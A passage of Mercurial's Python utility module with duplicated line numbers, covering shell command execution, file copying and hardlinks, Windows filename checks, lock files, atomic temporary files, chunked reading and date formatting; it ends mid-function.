1021 1021
1022 1022 def _sethgexecutable(path):
1023 1023 """set location of the 'hg' executable"""
1024 1024 global _hgexecutable
1025 1025 _hgexecutable = path
1026 1026
1027 1027 def _isstdout(f):
1028 1028 fileno = getattr(f, 'fileno', None)
1029 1029 return fileno and fileno() == sys.__stdout__.fileno()
1030 1030
1031 1031 def shellenviron(environ=None):
1032 1032 """return environ with optional override, useful for shelling out"""
1033 1033 def py2shell(val):
1034 1034 'convert python object into string that is useful to shell'
1035 1035 if val is None or val is False:
1036 1036 return '0'
1037 1037 if val is True:
1038 1038 return '1'
1039 1039 return str(val)
1040 1040 env = dict(encoding.environ)
1041 1041 if environ:
1042 1042 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1043 1043 env['HG'] = hgexecutable()
1044 1044 return env
1045 1045
1046 1046 def system(cmd, environ=None, cwd=None, out=None):
1047 1047 '''enhanced shell command execution.
1048 1048 run with environment maybe modified, maybe in different dir.
1049 1049
1050 1050 if out is specified, it is assumed to be a file-like object that has a
1051 1051 write() method. stdout and stderr will be redirected to out.'''
1052 1052 try:
1053 1053 stdout.flush()
1054 1054 except Exception:
1055 1055 pass
1056 1056 cmd = quotecommand(cmd)
1057 1057 env = shellenviron(environ)
1058 1058 if out is None or _isstdout(out):
1059 1059 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1060 1060 env=env, cwd=cwd)
1061 1061 else:
1062 1062 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1063 1063 env=env, cwd=cwd, stdout=subprocess.PIPE,
1064 1064 stderr=subprocess.STDOUT)
1065 1065 for line in iter(proc.stdout.readline, ''):
1066 1066 out.write(line)
1067 1067 proc.wait()
1068 1068 rc = proc.returncode
1069 1069 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1070 1070 rc = 0
1071 1071 return rc
1072 1072
1073 1073 def checksignature(func):
1074 1074 '''wrap a function with code to check for calling errors'''
1075 1075 def check(*args, **kwargs):
1076 1076 try:
1077 1077 return func(*args, **kwargs)
1078 1078 except TypeError:
1079 1079 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1080 1080 raise error.SignatureError
1081 1081 raise
1082 1082
1083 1083 return check
1084 1084
1085 1085 # a whilelist of known filesystems where hardlink works reliably
1086 1086 _hardlinkfswhitelist = {
1087 1087 'btrfs',
1088 1088 'ext2',
1089 1089 'ext3',
1090 1090 'ext4',
1091 1091 'hfs',
1092 1092 'jfs',
1093 1093 'reiserfs',
1094 1094 'tmpfs',
1095 1095 'ufs',
1096 1096 'xfs',
1097 1097 'zfs',
1098 1098 }
1099 1099
1100 1100 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1101 1101 '''copy a file, preserving mode and optionally other stat info like
1102 1102 atime/mtime
1103 1103
1104 1104 checkambig argument is used with filestat, and is useful only if
1105 1105 destination file is guarded by any lock (e.g. repo.lock or
1106 1106 repo.wlock).
1107 1107
1108 1108 copystat and checkambig should be exclusive.
1109 1109 '''
1110 1110 assert not (copystat and checkambig)
1111 1111 oldstat = None
1112 1112 if os.path.lexists(dest):
1113 1113 if checkambig:
1114 1114 oldstat = checkambig and filestat.frompath(dest)
1115 1115 unlink(dest)
1116 1116 if hardlink:
1117 1117 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1118 1118 # unless we are confident that dest is on a whitelisted filesystem.
1119 1119 try:
1120 1120 fstype = getfstype(os.path.dirname(dest))
1121 1121 except OSError:
1122 1122 fstype = None
1123 1123 if fstype not in _hardlinkfswhitelist:
1124 1124 hardlink = False
1125 1125 if hardlink:
1126 1126 try:
1127 1127 oslink(src, dest)
1128 1128 return
1129 1129 except (IOError, OSError):
1130 1130 pass # fall back to normal copy
1131 1131 if os.path.islink(src):
1132 1132 os.symlink(os.readlink(src), dest)
1133 1133 # copytime is ignored for symlinks, but in general copytime isn't needed
1134 1134 # for them anyway
1135 1135 else:
1136 1136 try:
1137 1137 shutil.copyfile(src, dest)
1138 1138 if copystat:
1139 1139 # copystat also copies mode
1140 1140 shutil.copystat(src, dest)
1141 1141 else:
1142 1142 shutil.copymode(src, dest)
1143 1143 if oldstat and oldstat.stat:
1144 1144 newstat = filestat.frompath(dest)
1145 1145 if newstat.isambig(oldstat):
1146 1146 # stat of copied file is ambiguous to original one
1147 1147 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1148 1148 os.utime(dest, (advanced, advanced))
1149 1149 except shutil.Error as inst:
1150 1150 raise Abort(str(inst))
1151 1151
1152 1152 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1153 1153 """Copy a directory tree using hardlinks if possible."""
1154 1154 num = 0
1155 1155
1156 1156 gettopic = lambda: hardlink and _('linking') or _('copying')
1157 1157
1158 1158 if os.path.isdir(src):
1159 1159 if hardlink is None:
1160 1160 hardlink = (os.stat(src).st_dev ==
1161 1161 os.stat(os.path.dirname(dst)).st_dev)
1162 1162 topic = gettopic()
1163 1163 os.mkdir(dst)
1164 1164 for name, kind in listdir(src):
1165 1165 srcname = os.path.join(src, name)
1166 1166 dstname = os.path.join(dst, name)
1167 1167 def nprog(t, pos):
1168 1168 if pos is not None:
1169 1169 return progress(t, pos + num)
1170 1170 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1171 1171 num += n
1172 1172 else:
1173 1173 if hardlink is None:
1174 1174 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1175 1175 os.stat(os.path.dirname(dst)).st_dev)
1176 1176 topic = gettopic()
1177 1177
1178 1178 if hardlink:
1179 1179 try:
1180 1180 oslink(src, dst)
1181 1181 except (IOError, OSError):
1182 1182 hardlink = False
1183 1183 shutil.copy(src, dst)
1184 1184 else:
1185 1185 shutil.copy(src, dst)
1186 1186 num += 1
1187 1187 progress(topic, num)
1188 1188 progress(topic, None)
1189 1189
1190 1190 return hardlink, num
1191 1191
1192 1192 _winreservednames = b'''con prn aux nul
1193 1193 com1 com2 com3 com4 com5 com6 com7 com8 com9
1194 1194 lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9'''.split()
1195 1195 _winreservedchars = ':*?"<>|'
1196 1196 def checkwinfilename(path):
1197 1197 r'''Check that the base-relative path is a valid filename on Windows.
1198 1198 Returns None if the path is ok, or a UI string describing the problem.
1199 1199
1200 1200 >>> checkwinfilename("just/a/normal/path")
1201 1201 >>> checkwinfilename("foo/bar/con.xml")
1202 1202 "filename contains 'con', which is reserved on Windows"
1203 1203 >>> checkwinfilename("foo/con.xml/bar")
1204 1204 "filename contains 'con', which is reserved on Windows"
1205 1205 >>> checkwinfilename("foo/bar/xml.con")
1206 1206 >>> checkwinfilename("foo/bar/AUX/bla.txt")
1207 1207 "filename contains 'AUX', which is reserved on Windows"
1208 1208 >>> checkwinfilename("foo/bar/bla:.txt")
1209 1209 "filename contains ':', which is reserved on Windows"
1210 1210 >>> checkwinfilename("foo/bar/b\07la.txt")
1211 1211 "filename contains '\\x07', which is invalid on Windows"
1212 1212 >>> checkwinfilename("foo/bar/bla ")
1213 1213 "filename ends with ' ', which is not allowed on Windows"
1214 1214 >>> checkwinfilename("../bar")
1215 1215 >>> checkwinfilename("foo\\")
1216 1216 "filename ends with '\\', which is invalid on Windows"
1217 1217 >>> checkwinfilename("foo\\/bar")
1218 1218 "directory name ends with '\\', which is invalid on Windows"
1219 1219 '''
1220 1220 if path.endswith('\\'):
1221 1221 return _("filename ends with '\\', which is invalid on Windows")
1222 1222 if '\\/' in path:
1223 1223 return _("directory name ends with '\\', which is invalid on Windows")
1224 1224 for n in path.replace('\\', '/').split('/'):
1225 1225 if not n:
1226 1226 continue
1227 1227 for c in _filenamebytestr(n):
1228 1228 if c in _winreservedchars:
1229 1229 return _("filename contains '%s', which is reserved "
1230 1230 "on Windows") % c
1231 1231 if ord(c) <= 31:
1232 1232 return _("filename contains %r, which is invalid "
1233 1233 "on Windows") % c
1234 1234 base = n.split('.')[0]
1235 1235 if base and base.lower() in _winreservednames:
1236 1236 return _("filename contains '%s', which is reserved "
1237 1237 "on Windows") % base
1238 1238 t = n[-1]
1239 1239 if t in '. ' and n not in '..':
1240 1240 return _("filename ends with '%s', which is not allowed "
1241 1241 "on Windows") % t
1242 1242
1243 1243 if pycompat.osname == 'nt':
1244 1244 checkosfilename = checkwinfilename
1245 1245 timer = time.clock
1246 1246 else:
1247 1247 checkosfilename = platform.checkosfilename
1248 1248 timer = time.time
1249 1249
1250 1250 if safehasattr(time, "perf_counter"):
1251 1251 timer = time.perf_counter
1252 1252
1253 1253 def makelock(info, pathname):
1254 1254 try:
1255 1255 return os.symlink(info, pathname)
1256 1256 except OSError as why:
1257 1257 if why.errno == errno.EEXIST:
1258 1258 raise
1259 1259 except AttributeError: # no symlink in os
1260 1260 pass
1261 1261
1262 1262 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1263 1263 os.write(ld, info)
1264 1264 os.close(ld)
1265 1265
1266 1266 def readlock(pathname):
1267 1267 try:
1268 1268 return os.readlink(pathname)
1269 1269 except OSError as why:
1270 1270 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1271 1271 raise
1272 1272 except AttributeError: # no symlink in os
1273 1273 pass
1274 1274 fp = posixfile(pathname)
1275 1275 r = fp.read()
1276 1276 fp.close()
1277 1277 return r
1278 1278
1279 1279 def fstat(fp):
1280 1280 '''stat file object that may not have fileno method.'''
1281 1281 try:
1282 1282 return os.fstat(fp.fileno())
1283 1283 except AttributeError:
1284 1284 return os.stat(fp.name)
1285 1285
1286 1286 # File system features
1287 1287
1288 1288 def fscasesensitive(path):
1289 1289 """
1290 1290 Return true if the given path is on a case-sensitive filesystem
1291 1291
1292 1292 Requires a path (like /foo/.hg) ending with a foldable final
1293 1293 directory component.
1294 1294 """
1295 1295 s1 = os.lstat(path)
1296 1296 d, b = os.path.split(path)
1297 1297 b2 = b.upper()
1298 1298 if b == b2:
1299 1299 b2 = b.lower()
1300 1300 if b == b2:
1301 1301 return True # no evidence against case sensitivity
1302 1302 p2 = os.path.join(d, b2)
1303 1303 try:
1304 1304 s2 = os.lstat(p2)
1305 1305 if s2 == s1:
1306 1306 return False
1307 1307 return True
1308 1308 except OSError:
1309 1309 return True
1310 1310
1311 1311 try:
1312 1312 import re2
1313 1313 _re2 = None
1314 1314 except ImportError:
1315 1315 _re2 = False
1316 1316
1317 1317 class _re(object):
1318 1318 def _checkre2(self):
1319 1319 global _re2
1320 1320 try:
1321 1321 # check if match works, see issue3964
1322 1322 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1323 1323 except ImportError:
1324 1324 _re2 = False
1325 1325
1326 1326 def compile(self, pat, flags=0):
1327 1327 '''Compile a regular expression, using re2 if possible
1328 1328
1329 1329 For best performance, use only re2-compatible regexp features. The
1330 1330 only flags from the re module that are re2-compatible are
1331 1331 IGNORECASE and MULTILINE.'''
1332 1332 if _re2 is None:
1333 1333 self._checkre2()
1334 1334 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1335 1335 if flags & remod.IGNORECASE:
1336 1336 pat = '(?i)' + pat
1337 1337 if flags & remod.MULTILINE:
1338 1338 pat = '(?m)' + pat
1339 1339 try:
1340 1340 return re2.compile(pat)
1341 1341 except re2.error:
1342 1342 pass
1343 1343 return remod.compile(pat, flags)
1344 1344
1345 1345 @propertycache
1346 1346 def escape(self):
1347 1347 '''Return the version of escape corresponding to self.compile.
1348 1348
1349 1349 This is imperfect because whether re2 or re is used for a particular
1350 1350 function depends on the flags, etc, but it's the best we can do.
1351 1351 '''
1352 1352 global _re2
1353 1353 if _re2 is None:
1354 1354 self._checkre2()
1355 1355 if _re2:
1356 1356 return re2.escape
1357 1357 else:
1358 1358 return remod.escape
1359 1359
1360 1360 re = _re()
1361 1361
1362 1362 _fspathcache = {}
1363 1363 def fspath(name, root):
1364 1364 '''Get name in the case stored in the filesystem
1365 1365
1366 1366 The name should be relative to root, and be normcase-ed for efficiency.
1367 1367
1368 1368 Note that this function is unnecessary, and should not be
1369 1369 called, for case-sensitive filesystems (simply because it's expensive).
1370 1370
1371 1371 The root should be normcase-ed, too.
1372 1372 '''
1373 1373 def _makefspathcacheentry(dir):
1374 1374 return dict((normcase(n), n) for n in os.listdir(dir))
1375 1375
1376 1376 seps = pycompat.ossep
1377 1377 if pycompat.osaltsep:
1378 1378 seps = seps + pycompat.osaltsep
1379 1379 # Protect backslashes. This gets silly very quickly.
1380 1380 seps.replace('\\','\\\\')
1381 1381 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1382 1382 dir = os.path.normpath(root)
1383 1383 result = []
1384 1384 for part, sep in pattern.findall(name):
1385 1385 if sep:
1386 1386 result.append(sep)
1387 1387 continue
1388 1388
1389 1389 if dir not in _fspathcache:
1390 1390 _fspathcache[dir] = _makefspathcacheentry(dir)
1391 1391 contents = _fspathcache[dir]
1392 1392
1393 1393 found = contents.get(part)
1394 1394 if not found:
1395 1395 # retry "once per directory" per "dirstate.walk" which
1396 1396 # may take place for each patches of "hg qpush", for example
1397 1397 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1398 1398 found = contents.get(part)
1399 1399
1400 1400 result.append(found or part)
1401 1401 dir = os.path.join(dir, part)
1402 1402
1403 1403 return ''.join(result)
1404 1404
1405 1405 def getfstype(dirpath):
1406 1406 '''Get the filesystem type name from a directory (best-effort)
1407 1407
1408 1408 Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
1409 1409 '''
1410 1410 return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
1411 1411
1412 1412 def checknlink(testfile):
1413 1413 '''check whether hardlink count reporting works properly'''
1414 1414
1415 1415 # testfile may be open, so we need a separate file for checking to
1416 1416 # work around issue2543 (or testfile may get lost on Samba shares)
1417 1417 f1 = testfile + ".hgtmp1"
1418 1418 if os.path.lexists(f1):
1419 1419 return False
1420 1420 try:
1421 1421 posixfile(f1, 'w').close()
1422 1422 except IOError:
1423 1423 try:
1424 1424 os.unlink(f1)
1425 1425 except OSError:
1426 1426 pass
1427 1427 return False
1428 1428
1429 1429 f2 = testfile + ".hgtmp2"
1430 1430 fd = None
1431 1431 try:
1432 1432 oslink(f1, f2)
1433 1433 # nlinks() may behave differently for files on Windows shares if
1434 1434 # the file is open.
1435 1435 fd = posixfile(f2)
1436 1436 return nlinks(f2) > 1
1437 1437 except OSError:
1438 1438 return False
1439 1439 finally:
1440 1440 if fd is not None:
1441 1441 fd.close()
1442 1442 for f in (f1, f2):
1443 1443 try:
1444 1444 os.unlink(f)
1445 1445 except OSError:
1446 1446 pass
1447 1447
1448 1448 def endswithsep(path):
1449 1449 '''Check path ends with os.sep or os.altsep.'''
1450 1450 return (path.endswith(pycompat.ossep)
1451 1451 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1452 1452
1453 1453 def splitpath(path):
1454 1454 '''Split path by os.sep.
1455 1455 Note that this function does not use os.altsep because this is
1456 1456 an alternative of simple "xxx.split(os.sep)".
1457 1457 It is recommended to use os.path.normpath() before using this
1458 1458 function if need.'''
1459 1459 return path.split(pycompat.ossep)
1460 1460
1461 1461 def gui():
1462 1462 '''Are we running in a GUI?'''
1463 1463 if pycompat.sysplatform == 'darwin':
1464 1464 if 'SSH_CONNECTION' in encoding.environ:
1465 1465 # handle SSH access to a box where the user is logged in
1466 1466 return False
1467 1467 elif getattr(osutil, 'isgui', None):
1468 1468 # check if a CoreGraphics session is available
1469 1469 return osutil.isgui()
1470 1470 else:
1471 1471 # pure build; use a safe default
1472 1472 return True
1473 1473 else:
1474 1474 return pycompat.osname == "nt" or encoding.environ.get("DISPLAY")
1475 1475
1476 1476 def mktempcopy(name, emptyok=False, createmode=None):
1477 1477 """Create a temporary file with the same contents from name
1478 1478
1479 1479 The permission bits are copied from the original file.
1480 1480
1481 1481 If the temporary file is going to be truncated immediately, you
1482 1482 can use emptyok=True as an optimization.
1483 1483
1484 1484 Returns the name of the temporary file.
1485 1485 """
1486 1486 d, fn = os.path.split(name)
1487 1487 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, dir=d)
1488 1488 os.close(fd)
1489 1489 # Temporary files are created with mode 0600, which is usually not
1490 1490 # what we want. If the original file already exists, just copy
1491 1491 # its mode. Otherwise, manually obey umask.
1492 1492 copymode(name, temp, createmode)
1493 1493 if emptyok:
1494 1494 return temp
1495 1495 try:
1496 1496 try:
1497 1497 ifp = posixfile(name, "rb")
1498 1498 except IOError as inst:
1499 1499 if inst.errno == errno.ENOENT:
1500 1500 return temp
1501 1501 if not getattr(inst, 'filename', None):
1502 1502 inst.filename = name
1503 1503 raise
1504 1504 ofp = posixfile(temp, "wb")
1505 1505 for chunk in filechunkiter(ifp):
1506 1506 ofp.write(chunk)
1507 1507 ifp.close()
1508 1508 ofp.close()
1509 1509 except: # re-raises
1510 1510 try: os.unlink(temp)
1511 1511 except OSError: pass
1512 1512 raise
1513 1513 return temp
1514 1514
1515 1515 class filestat(object):
1516 1516 """help to exactly detect change of a file
1517 1517
1518 1518 'stat' attribute is result of 'os.stat()' if specified 'path'
1519 1519 exists. Otherwise, it is None. This can avoid preparative
1520 1520 'exists()' examination on client side of this class.
1521 1521 """
1522 1522 def __init__(self, stat):
1523 1523 self.stat = stat
1524 1524
1525 1525 @classmethod
1526 1526 def frompath(cls, path):
1527 1527 try:
1528 1528 stat = os.stat(path)
1529 1529 except OSError as err:
1530 1530 if err.errno != errno.ENOENT:
1531 1531 raise
1532 1532 stat = None
1533 1533 return cls(stat)
1534 1534
1535 1535 @classmethod
1536 1536 def fromfp(cls, fp):
1537 1537 stat = os.fstat(fp.fileno())
1538 1538 return cls(stat)
1539 1539
1540 1540 __hash__ = object.__hash__
1541 1541
1542 1542 def __eq__(self, old):
1543 1543 try:
1544 1544 # if ambiguity between stat of new and old file is
1545 1545 # avoided, comparison of size, ctime and mtime is enough
1546 1546 # to exactly detect change of a file regardless of platform
1547 1547 return (self.stat.st_size == old.stat.st_size and
1548 1548 self.stat.st_ctime == old.stat.st_ctime and
1549 1549 self.stat.st_mtime == old.stat.st_mtime)
1550 1550 except AttributeError:
1551 1551 pass
1552 1552 try:
1553 1553 return self.stat is None and old.stat is None
1554 1554 except AttributeError:
1555 1555 return False
1556 1556
1557 1557 def isambig(self, old):
1558 1558 """Examine whether new (= self) stat is ambiguous against old one
1559 1559
1560 1560 "S[N]" below means stat of a file at N-th change:
1561 1561
1562 1562 - S[n-1].ctime < S[n].ctime: can detect change of a file
1563 1563 - S[n-1].ctime == S[n].ctime
1564 1564 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1565 1565 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1566 1566 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1567 1567 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1568 1568
1569 1569 Case (*2) above means that a file was changed twice or more at
1570 1570 same time in sec (= S[n-1].ctime), and comparison of timestamp
1571 1571 is ambiguous.
1572 1572
1573 1573 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1574 1574 timestamp is ambiguous".
1575 1575
1576 1576 But advancing mtime only in case (*2) doesn't work as
1577 1577 expected, because naturally advanced S[n].mtime in case (*1)
1578 1578 might be equal to manually advanced S[n-1 or earlier].mtime.
1579 1579
1580 1580 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1581 1581 treated as ambiguous regardless of mtime, to avoid overlooking
1582 1582 by confliction between such mtime.
1583 1583
1584 1584 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
1585 1585 S[n].mtime", even if size of a file isn't changed.
1586 1586 """
1587 1587 try:
1588 1588 return (self.stat.st_ctime == old.stat.st_ctime)
1589 1589 except AttributeError:
1590 1590 return False
1591 1591
1592 1592 def avoidambig(self, path, old):
1593 1593 """Change file stat of specified path to avoid ambiguity
1594 1594
1595 1595 'old' should be previous filestat of 'path'.
1596 1596
1597 1597 This skips avoiding ambiguity, if a process doesn't have
1598 1598 appropriate privileges for 'path'. This returns False in this
1599 1599 case.
1600 1600
1601 1601 Otherwise, this returns True, as "ambiguity is avoided".
1602 1602 """
1603 1603 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
1604 1604 try:
1605 1605 os.utime(path, (advanced, advanced))
1606 1606 except OSError as inst:
1607 1607 if inst.errno == errno.EPERM:
1608 1608 # utime() on the file created by another user causes EPERM,
1609 1609 # if a process doesn't have appropriate privileges
1610 1610 return False
1611 1611 raise
1612 1612 return True
1613 1613
1614 1614 def __ne__(self, other):
1615 1615 return not self == other
1616 1616
1617 1617 class atomictempfile(object):
1618 1618 '''writable file object that atomically updates a file
1619 1619
1620 1620 All writes will go to a temporary copy of the original file. Call
1621 1621 close() when you are done writing, and atomictempfile will rename
1622 1622 the temporary copy to the original name, making the changes
1623 1623 visible. If the object is destroyed without being closed, all your
1624 1624 writes are discarded.
1625 1625
1626 1626 checkambig argument of constructor is used with filestat, and is
1627 1627 useful only if target file is guarded by any lock (e.g. repo.lock
1628 1628 or repo.wlock).
1629 1629 '''
1630 1630 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
1631 1631 self.__name = name # permanent name
1632 1632 self._tempname = mktempcopy(name, emptyok=('w' in mode),
1633 1633 createmode=createmode)
1634 1634 self._fp = posixfile(self._tempname, mode)
1635 1635 self._checkambig = checkambig
1636 1636
1637 1637 # delegated methods
1638 1638 self.read = self._fp.read
1639 1639 self.write = self._fp.write
1640 1640 self.seek = self._fp.seek
1641 1641 self.tell = self._fp.tell
1642 1642 self.fileno = self._fp.fileno
1643 1643
1644 1644 def close(self):
1645 1645 if not self._fp.closed:
1646 1646 self._fp.close()
1647 1647 filename = localpath(self.__name)
1648 1648 oldstat = self._checkambig and filestat.frompath(filename)
1649 1649 if oldstat and oldstat.stat:
1650 1650 rename(self._tempname, filename)
1651 1651 newstat = filestat.frompath(filename)
1652 1652 if newstat.isambig(oldstat):
1653 1653 # stat of changed file is ambiguous to original one
1654 1654 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1655 1655 os.utime(filename, (advanced, advanced))
1656 1656 else:
1657 1657 rename(self._tempname, filename)
1658 1658
1659 1659 def discard(self):
1660 1660 if not self._fp.closed:
1661 1661 try:
1662 1662 os.unlink(self._tempname)
1663 1663 except OSError:
1664 1664 pass
1665 1665 self._fp.close()
1666 1666
1667 1667 def __del__(self):
1668 1668 if safehasattr(self, '_fp'): # constructor actually did something
1669 1669 self.discard()
1670 1670
1671 1671 def __enter__(self):
1672 1672 return self
1673 1673
1674 1674 def __exit__(self, exctype, excvalue, traceback):
1675 1675 if exctype is not None:
1676 1676 self.discard()
1677 1677 else:
1678 1678 self.close()
1679 1679
1680 1680 def unlinkpath(f, ignoremissing=False):
1681 1681 """unlink and remove the directory if it is empty"""
1682 1682 if ignoremissing:
1683 1683 tryunlink(f)
1684 1684 else:
1685 1685 unlink(f)
1686 1686 # try removing directories that might now be empty
1687 1687 try:
1688 1688 removedirs(os.path.dirname(f))
1689 1689 except OSError:
1690 1690 pass
1691 1691
1692 1692 def tryunlink(f):
1693 1693 """Attempt to remove a file, ignoring ENOENT errors."""
1694 1694 try:
1695 1695 unlink(f)
1696 1696 except OSError as e:
1697 1697 if e.errno != errno.ENOENT:
1698 1698 raise
1699 1699
1700 1700 def makedirs(name, mode=None, notindexed=False):
1701 1701 """recursive directory creation with parent mode inheritance
1702 1702
1703 1703 Newly created directories are marked as "not to be indexed by
1704 1704 the content indexing service", if ``notindexed`` is specified
1705 1705 for "write" mode access.
1706 1706 """
1707 1707 try:
1708 1708 makedir(name, notindexed)
1709 1709 except OSError as err:
1710 1710 if err.errno == errno.EEXIST:
1711 1711 return
1712 1712 if err.errno != errno.ENOENT or not name:
1713 1713 raise
1714 1714 parent = os.path.dirname(os.path.abspath(name))
1715 1715 if parent == name:
1716 1716 raise
1717 1717 makedirs(parent, mode, notindexed)
1718 1718 try:
1719 1719 makedir(name, notindexed)
1720 1720 except OSError as err:
1721 1721 # Catch EEXIST to handle races
1722 1722 if err.errno == errno.EEXIST:
1723 1723 return
1724 1724 raise
1725 1725 if mode is not None:
1726 1726 os.chmod(name, mode)
1727 1727
1728 1728 def readfile(path):
1729 1729 with open(path, 'rb') as fp:
1730 1730 return fp.read()
1731 1731
1732 1732 def writefile(path, text):
1733 1733 with open(path, 'wb') as fp:
1734 1734 fp.write(text)
1735 1735
1736 1736 def appendfile(path, text):
1737 1737 with open(path, 'ab') as fp:
1738 1738 fp.write(text)
1739 1739
1740 1740 class chunkbuffer(object):
1741 1741 """Allow arbitrary sized chunks of data to be efficiently read from an
1742 1742 iterator over chunks of arbitrary size."""
1743 1743
1744 1744 def __init__(self, in_iter):
1745 1745 """in_iter is the iterator that's iterating over the input chunks."""
1746 1746 def splitbig(chunks):
1747 1747 for chunk in chunks:
1748 1748 if len(chunk) > 2**20:
1749 1749 pos = 0
1750 1750 while pos < len(chunk):
1751 1751 end = pos + 2 ** 18
1752 1752 yield chunk[pos:end]
1753 1753 pos = end
1754 1754 else:
1755 1755 yield chunk
1756 1756 self.iter = splitbig(in_iter)
1757 1757 self._queue = collections.deque()
1758 1758 self._chunkoffset = 0
1759 1759
1760 1760 def read(self, l=None):
1761 1761 """Read L bytes of data from the iterator of chunks of data.
1762 1762 Returns less than L bytes if the iterator runs dry.
1763 1763
1764 1764 If size parameter is omitted, read everything"""
1765 1765 if l is None:
1766 1766 return ''.join(self.iter)
1767 1767
1768 1768 left = l
1769 1769 buf = []
1770 1770 queue = self._queue
1771 1771 while left > 0:
1772 1772 # refill the queue
1773 1773 if not queue:
1774 1774 target = 2**18
1775 1775 for chunk in self.iter:
1776 1776 queue.append(chunk)
1777 1777 target -= len(chunk)
1778 1778 if target <= 0:
1779 1779 break
1780 1780 if not queue:
1781 1781 break
1782 1782
1783 1783 # The easy way to do this would be to queue.popleft(), modify the
1784 1784 # chunk (if necessary), then queue.appendleft(). However, for cases
1785 1785 # where we read partial chunk content, this incurs 2 dequeue
1786 1786 # mutations and creates a new str for the remaining chunk in the
1787 1787 # queue. Our code below avoids this overhead.
1788 1788
1789 1789 chunk = queue[0]
1790 1790 chunkl = len(chunk)
1791 1791 offset = self._chunkoffset
1792 1792
1793 1793 # Use full chunk.
1794 1794 if offset == 0 and left >= chunkl:
1795 1795 left -= chunkl
1796 1796 queue.popleft()
1797 1797 buf.append(chunk)
1798 1798 # self._chunkoffset remains at 0.
1799 1799 continue
1800 1800
1801 1801 chunkremaining = chunkl - offset
1802 1802
1803 1803 # Use all of unconsumed part of chunk.
1804 1804 if left >= chunkremaining:
1805 1805 left -= chunkremaining
1806 1806 queue.popleft()
1807 1807 # offset == 0 is enabled by block above, so this won't merely
1808 1808 # copy via ``chunk[0:]``.
1809 1809 buf.append(chunk[offset:])
1810 1810 self._chunkoffset = 0
1811 1811
1812 1812 # Partial chunk needed.
1813 1813 else:
1814 1814 buf.append(chunk[offset:offset + left])
1815 1815 self._chunkoffset += left
1816 1816 left -= chunkremaining
1817 1817
1818 1818 return ''.join(buf)
1819 1819
1820 1820 def filechunkiter(f, size=131072, limit=None):
1821 1821 """Create a generator that produces the data in the file size
1822 1822 (default 131072) bytes at a time, up to optional limit (default is
1823 1823 to read all data). Chunks may be less than size bytes if the
1824 1824 chunk is the last chunk in the file, or the file is a socket or
1825 1825 some other type of file that sometimes reads less data than is
1826 1826 requested."""
1827 1827 assert size >= 0
1828 1828 assert limit is None or limit >= 0
1829 1829 while True:
1830 1830 if limit is None:
1831 1831 nbytes = size
1832 1832 else:
1833 1833 nbytes = min(limit, size)
1834 1834 s = nbytes and f.read(nbytes)
1835 1835 if not s:
1836 1836 break
1837 1837 if limit:
1838 1838 limit -= len(s)
1839 1839 yield s
1840 1840
1841 1841 def makedate(timestamp=None):
1842 1842 '''Return a unix timestamp (or the current time) as a (unixtime,
1843 1843 offset) tuple based off the local timezone.'''
1844 1844 if timestamp is None:
1845 1845 timestamp = time.time()
1846 1846 if timestamp < 0:
1847 1847 hint = _("check your clock")
1848 1848 raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
1849 1849 delta = (datetime.datetime.utcfromtimestamp(timestamp) -
1850 1850 datetime.datetime.fromtimestamp(timestamp))
1851 1851 tz = delta.days * 86400 + delta.seconds
1852 1852 return timestamp, tz
1853 1853
1854 1854 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
1855 1855 """represent a (unixtime, offset) tuple as a localized time.
1856 1856 unixtime is seconds since the epoch, and offset is the time zone's
1857 1857 number of seconds away from UTC.
1858 1858
1859 1859 >>> datestr((0, 0))
1860 1860 'Thu Jan 01 00:00:00 1970 +0000'
1861 1861 >>> datestr((42, 0))
1862 1862 'Thu Jan 01 00:00:42 1970 +0000'
1863 1863 >>> datestr((-42, 0))
1864 1864 'Wed Dec 31 23:59:18 1969 +0000'
1865 1865 >>> datestr((0x7fffffff, 0))
1866 1866 'Tue Jan 19 03:14:07 2038 +0000'
1867 1867 >>> datestr((-0x80000000, 0))
1868 1868 'Fri Dec 13 20:45:52 1901 +0000'
1869 1869 """
1870 1870 t, tz = date or makedate()
1871 1871 if "%1" in format or "%2" in format or "%z" in format:
1872 1872 sign = (tz > 0) and "-" or "+"
1873 1873 minutes = abs(tz) // 60
1874 1874 q, r = divmod(minutes, 60)
1875 1875 format = format.replace("%z", "%1%2")
1876 1876 format = format.replace("%1", "%c%02d" % (sign, q))
1877 1877 format = format.replace("%2", "%02d" % r)
1878 1878 d = t - tz
1879 1879 if d > 0x7fffffff:
1880 1880 d = 0x7fffffff
1881 1881 elif d < -0x80000000:
1882 1882 d = -0x80000000
1883 1883 # Never use time.gmtime() and datetime.datetime.fromtimestamp()
